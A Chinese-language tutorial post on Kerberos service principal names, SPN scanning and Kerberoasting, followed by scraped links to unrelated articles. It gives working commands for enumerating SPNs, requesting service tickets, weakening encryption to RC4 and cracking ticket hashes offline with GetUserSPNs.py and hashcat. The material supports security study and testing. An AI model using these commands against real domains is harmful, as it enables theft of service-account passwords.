0x01 SPN定义

   服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。Kerberos身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定的服务实例可以具有多个SPN。例如,SPN总是包含运行服务实例的主机名称,所以服务实例可以为其主机的每个名称或别名注册一个SPN。

0x02 SPN扫描

spn扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。通过请求特定SPN​类型的服务主体名称来查找服务,SPN扫描攻击者通过网络端口扫描的主要好处是SPN扫描不需要连接到网络上的每个IP来检查服务端口。SPN扫描通过LDAP查询向域控制器执行服务发现。由于SPN查询是普通Kerberos票据的一部分,因此如果不能被查询,但可以用网络端口扫描来确认。

1.SPN格式

SPN = serviceclass “/” hostname [“:”port] [“/” servicename]

serviceclass = mssql

servicename =sql.bk.com

其中:

serviceclass:标识服务类的字符串,例如Web服务的www

hostname:一个字符串,是系统的名称。这应该是全限定域名(FQDN)。

port:一个数字,是该服务的端口号。

servicename:一个字符串,它是服务的专有名称(DN),objectGuid,Internet主机名或全限定域名(FQDN)。

注意: 服务类和主机是必需参数,但 端口和服务名是可选的,主机和端口之间的冒号只有当端口存在时才需要

2.常见服务和spn服务实例名称

MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433

Exchange

exchangeMDB/adsmsEXCAS01.adsecurity.org

RDP

TERMSERV/adsmsEXCAS01.adsecurity.org

WSMan / WinRM / PS Remoting

WSMAN/adsmsEXCAS01.adsecurity.org

Hyper-V Host

Microsoft Virtual Console Service/adsmsHV01.adsecurity.org

VMWare VCenter

STS/adsmsVC01.adsecurity.org

2.SPN扫描的ps脚本

发现mssql服务中的spn服务实例名称:

https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Discover-PSMSSQLServers

其他的SPN服务实例名查询:

https://github.com/PyroTek3/PowerShell-AD-Recon

由于每台服务器都需要注册用于Kerberos身份验证服务的SPN,因此这为在不进行端口扫描的情况下收集有关环境的信息提供了一个完美的方法。

例如:

管理员在名为“MetcorpKCS17”的服务器上安装和配置Microsoft SQL Server,并使用侦听端口3170 3&3171的SQL实例。

那么服务类和实例名称产生是这样的:

MSSQLSvc/MetcorpKCS17.adsecurity.org:3170
MSSQLSvc/MetcorpKCS17.adsecurity.org:3171

蓝色的部分是服务类,橙色的部分是计算机的FQDN,绿色的最后一部分是网络端口号由于Kerberos将SPN请求与目录中的现有SPN相匹配,因此最后的数字不一定是服务在服务器上侦听的端口。如上所述,大多数情况下SPN中记录的端口是服务器上的监听端口,并非所有的SPN都包含一个端口。现在,我们有一个更好的方法来发现Active Directory域或森林中的SQL服务器:ServicePrincipalName=MSSQL*

0x03
SPN扫描和破解TGS Tickets

以MSSQL服务配置SPN为例

参考配置地址:
https://technet.microsoft.com/zh-cn/library/bb735885.aspx

1.为 SQL
Server 服务帐户注册SPN

手动注册:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname
对应的命名实例:
setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname

2.查看用户对应的SPN:
setspn -L ruos\sql-service

3.使用ADSI(adsiedit.msc)查看用户属性

4. 在AD上为用户指定服务登陆权限。

GPO_name\Computer
Configuration\Windows Settings\Security Settings\Local Policies\User Rights
Assignment
Log on as a service

5..更改
SQL Server 服务帐户为域用户帐户

6.暴力破解Kerberos
TGS Tickets

由于加密类型是RC4_HMAC_MD5,Kerberos协议第四步TGS-REP将会返回用服务帐户的NTLM密码哈希加密的票据。

7.SPN扫描

setspn -T
domain -q */*

或者
https://github.com/PyroTek3/PowerShell-AD-Recon/

8.请求SPN
Kerberos Tickets

PS C:\>
Add-Type -AssemblyName System.IdentityModel

PS C:\>
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
-ArgumentList "MSSQLSvc/WEBTST01.ruos.org/SQLEXPRESS"

9. 查看并导出票据

默认配置加密类型是aes256_hmac,tgsrepcrack无法破解,可在服务器组策略指定加密类型为RC4_HMAC_MD5。
GPO_name\Computer Configuration\Windows Settings\Security Settings\Local
Policies\Security Options
Network security: Configure encryption types allowed for Kerberos

10.离线破解

tgsrepcrack(仅对RC4_HMAC_MD5),或者保存hash使用hashcat破解。

导出hash(用于其他加密类型)
GetUserSPNs.py -request -outputfile hash.txt -dc-ip 192.168.6.2 ruos.org/user2
或者从票据中导出 kirbi2john.py
1-40a00000-user2@MSSQLSvc~WEBTST01.ruos.org~SQLEXPRESS-RUOS.ORG.kirbi
S2. hashcat64.exe -m 13100 hash.txt example.dict –force

也可以参考其他破解工具如下:

https://github.com/nidem/kerberoast
https://github.com/coresecurity/impacket
https://github.com/nidem/kerberoast/blob/master/kirbi2john.py

0x04
Active Directory服务主体名称(SPN)的综合参考表

注意:

域控制器自动将公共SPN映射到主机SPN中。计算机加入到域时,主机SPN自动添加到所有计算机帐户的ServicePrincipalName属性。域控制器SPN映射由SPNMappings中的以下位置中的属性控制:

“CN=Directory
Service,CN=WindowsNT,CN=Services,CN=Configuration

SPN自动映射到HOST(SPNMapping属性值):

alerter

appmgmt

cisvc

clipsrv

browser

dhcp

dnscache

replicator

eventlog

eventsystem

policyagent

oakley

dmserver

dns

mcsvc

fax

msiserver

ias

messenger

netlogon

netman

netdde

netddedsm

nmagent

plugplay

protectedstorage

rasman

rpclocator

rpc

rpcss

remoteaccess

rsvp

samss

scardsvr

scesrv

seclogon

scm

dcom

cifs

spooler

snmp

schedule

tapisrv

trksvr

trkwks

ups

time

wins

www

http

w3svc

iisadmin

msdtc

kerberos中的spn详解的更多相关文章

  1. php中关于引用(&)详解

    php中关于引用(&)详解 php的引用(就是在变量或者函数.对象等前面加上&符号) 在PHP 中引用的意思是:不同的变量名访问同一个变量内容. 与C语言中的指针是有差别的.C语言中的 ...

  2. JavaScript正则表达式详解(二)JavaScript中正则表达式函数详解

    二.JavaScript中正则表达式函数详解(exec, test, match, replace, search, split) 1.使用正则表达式的方法去匹配查找字符串 1.1. exec方法详解 ...

  3. AngularJS select中ngOptions用法详解

    AngularJS select中ngOptions用法详解   一.用法 ngOption针对不同类型的数据源有不同的用法,主要体现在数组和对象上. 数组: label for value in a ...

  4. 【转载】C/C++中extern关键字详解

    1 基本解释:extern可以置于变量或者函数前,以标示变量或者函数的定义在别的文件中,提示编译器遇到此变量和函数时在其他模块中寻找其定义.此外extern也可用来进行链接指定. 也就是说extern ...

  5. oracle中imp命令详解 .

    转自http://www.cnblogs.com/songdavid/articles/2435439.html oracle中imp命令详解 Oracle的导入实用程序(Import utility ...

  6. Android中Service(服务)详解

    http://blog.csdn.net/ryantang03/article/details/7770939 Android中Service(服务)详解 标签: serviceandroidappl ...

  7. python中threading模块详解(一)

    python中threading模块详解(一) 来源 http://blog.chinaunix.net/uid-27571599-id-3484048.html threading提供了一个比thr ...

  8. Android中mesure过程详解

    我们在编写layout的xml文件时会碰到layout_width和layout_height两个属性,对于这两个属性我们有三种选择:赋值成具体的数值,match_parent或者wrap_conte ...

  9. Android中Intent组件详解

    Intent是不同组件之间相互通讯的纽带,封装了不同组件之间通讯的条件.Intent本身是定义为一个类别(Class),一个Intent对象表达一个目的(Goal)或期望(Expectation),叙 ...

随机推荐

  1. JavaScript 中函数的定义和调用

    3种函数定义方式: 1.使用关键字 function 来声明并定义函数 function myFunction(a, b) { return a * b; } 调用函数: var x = myFunc ...

  2. and_or_not 逻辑运算符的操作注解!

    python操作:

  3. Python基础入门(模块和包)

    1 模块 1.1 什么是模块 在 Python 中,一个 .py 文件就称之为一个模块(Module). 我们学习过函数,知道函数是实现一项或多项功能的一段程序 .其实模块就是函数功能的扩展.为什么这 ...

  4. 天马行空DevOps-Dev平台建设概述

    概述 DevOps(Development和Operations的组合词)是一组过程.方法与系统的统称,用于促进开发(应用程序/软件工程).技术运营和质量保障(QA)部门之间的沟通.协作与整合.它是一 ...

  5. java之接口开发-初级篇-webservice协议

    webservice协议 客户端: 客户端生成使用soapUI生成 外部提供webservice地址,地址后加?wsdl.选择好目录然后生成,放到项目中实现 服务端: web.xml平级目录下创建se ...

  6. 算法笔记(c++)--回文

    算法笔记(c++)--回文 #include<iostream> #include<algorithm> #include<vector> using namesp ...

  7. Python 内置函数介绍

    作者博文地址:http://www.cnblogs.com/spiritman/ Python Built-in Functions

  8. 5月5号周二课堂练习:简评cnblogs.com的用户体验

    一.用户类型 在博客园上写博客,提问题,浏览感兴趣的博客帖子的活跃用户. 二.对cnblogs的期望 在博客园上写博客更流畅,制作手机版的APP可以随时随地在线浏览大牛们写的博客,提出的问题能更好的更 ...

  9. 强化学习之QLearning

    注:以下第一段代码是 文章 提供的代码,但是简书的代码粘贴下来不换行,所以我在这里贴了一遍.其原理在原文中也说得很明白了. 算个旅行商问题 基本介绍 戳 代码解释与来源 代码整个计算过程使用的以下公式 ...

  10. HDU 5496 Beauty of Sequence

    题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5496 Beauty of Sequence Problem Description Sequence ...